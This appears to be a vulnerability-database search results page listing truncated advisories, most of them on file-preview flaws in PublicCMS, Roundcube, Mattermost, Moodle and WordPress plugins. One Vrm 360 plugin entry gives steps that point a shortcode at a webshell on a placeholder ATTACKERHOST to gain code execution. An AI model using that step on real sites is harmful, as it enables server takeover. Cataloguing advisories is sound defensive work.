4769 matches found
Cross site scripting
PublicCMS 4.0 is vulnerable to Cross Site Scripting XSS. Because files can be uploaded and online preview function is provided, pdf files and html files containing malicious code are uploaded, an XSS popup window is realized through online viewing...
CVE-2023-51252
PublicCMS 4.0 is affected by an XSS vulnerability in the Online Preview component. The issue arises from inadequate protection of the web page structure when uploaded files (PDF/HTML) are viewed online, enabling an XSS popup. Root cause: lack of proper input handling in the Online Preview feature...
CVE-2023-51252
PublicCMS 4.0 is vulnerable to Cross Site Scripting XSS. Because files can be uploaded and online preview function is provided, pdf files and html files containing malicious code are uploaded, an XSS popup window is realized through online viewing...
CVE-2023-51252
PublicCMS 4.0 is vulnerable to Cross Site Scripting XSS. Because files can be uploaded and online preview function is provided, pdf files and html files containing malicious code are uploaded, an XSS popup window is realized through online viewing...
Form Tools 3.1.1 Cross Site Scripting Vulnerability
Exploit Title: Form Tools Version: 3.1.1 - Reflected XSS Exploit Author: tmrswrr Vendor Homepage: https://formtools.org/ Version: 3.1.1 Tested on: https://www.softaculous.com/demos/FormTools 1 Write after formid your payload :...
UBUNTU-CVE-2023-7152
A vulnerability, which was classified as critical, has been found in MicroPython 1.21.0/1.22.0-preview. Affected by this issue is the function pollsetaddfd of the file extmod/modselect.c. The manipulation leads to use after free. The exploit has been disclosed to the public and may be used. The...
PT-2023-8541 · Publiccms · Publiccms
Name of the Vulnerable Software and Affected Versions: PublicCMS version 4.0 Description: The issue exists due to a lack of protection for the web page structure in the Online Preview component of PublicCMS. This allows a remote attacker to conduct cross-site scripting XSS attacks. The...
kkFileView Security Vulnerability
kkFileView is Kaijing Technology kekingcn open source Spring-Boot based on a generic file online preview project . kkFileView v4.3.0 version of a security vulnerability , the vulnerability stems from incorrect access control...
December 4, 2023—KB5032288 (OS Builds 22621.2792 and 22631.2792) Preview
None None...
MGASA-2023-0332 Updated roundcubemail packages fix XSS security vulnerabilities
Updated roundcubemail package fixes security vulnerabilities: Fix cross-site scripting XSS vulnerability in setting Content-Type/ Content-Disposition for attachment preview/download CVE-2023-47272 Fix cross-site scripting XSS vulnerability in handling of SVG in HTML messages. CVE-2023-5631 Some...
November 30, 2023—KB5032278 (OS Build 19045.3758) Preview
None None...
Mattermost Security Bypass Vulnerability
Mattermost is an open source collaboration platform from Mattermost, Inc. in the United States. A security bypass vulnerability exists in Mattermost that stems from an inability to check if the "Allow users to view archived channels" setting is enabled during the permalink preview display, even i...
CVE-2023-43754 Permalink previews displayed for posts in archived channels even if users are disallowed to view archived channels
Mattermost fails to check whether the “Allow users to view archived channels” setting is enabled during permalink previews display, allowing members to view permalink previews of archived channels even if the “Allow users to view archived channels” setting is disabled...
Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE
Description The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode. 1. Host a webserver with a shell named webshell.zip.php 2. As a contributor, add the shortcode: vrm360 canvasname=s1 modelurl=http://ATTACKERHOST/webshell.zip.php aspectratio=1.8...
WP User Frontend < 3.6.9 - Missing Authorization via AJAX actions
Description The WP User Frontend plugin for WordPress is vulnerable to unauthorized functionality use due to a missing capability check on several functions corresponding to AJAX actions in versions up to, and including, 3.6.8. This makes it possible for authenticated attackers, with...
Fedora 38 : roundcubemail (2023-0fd9865145)
The remote Fedora 38 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2023-0fd9865145 advisory. Release 1.6.5 - Fix PHP8 fatal error when parsing a malformed BODYSTRUCTURE 9171 - Fix duplicated Inbox folder on IMAP servers that do not use Inbox...
GHSA-9GQP-3G28-W9XC Moodle Cross-site Scripting vulnerability
The course upload preview contained an XSS risk for users uploading unsafe data...
Moodle Cross-site Scripting vulnerability
The course upload preview contained an XSS risk for users uploading unsafe data...
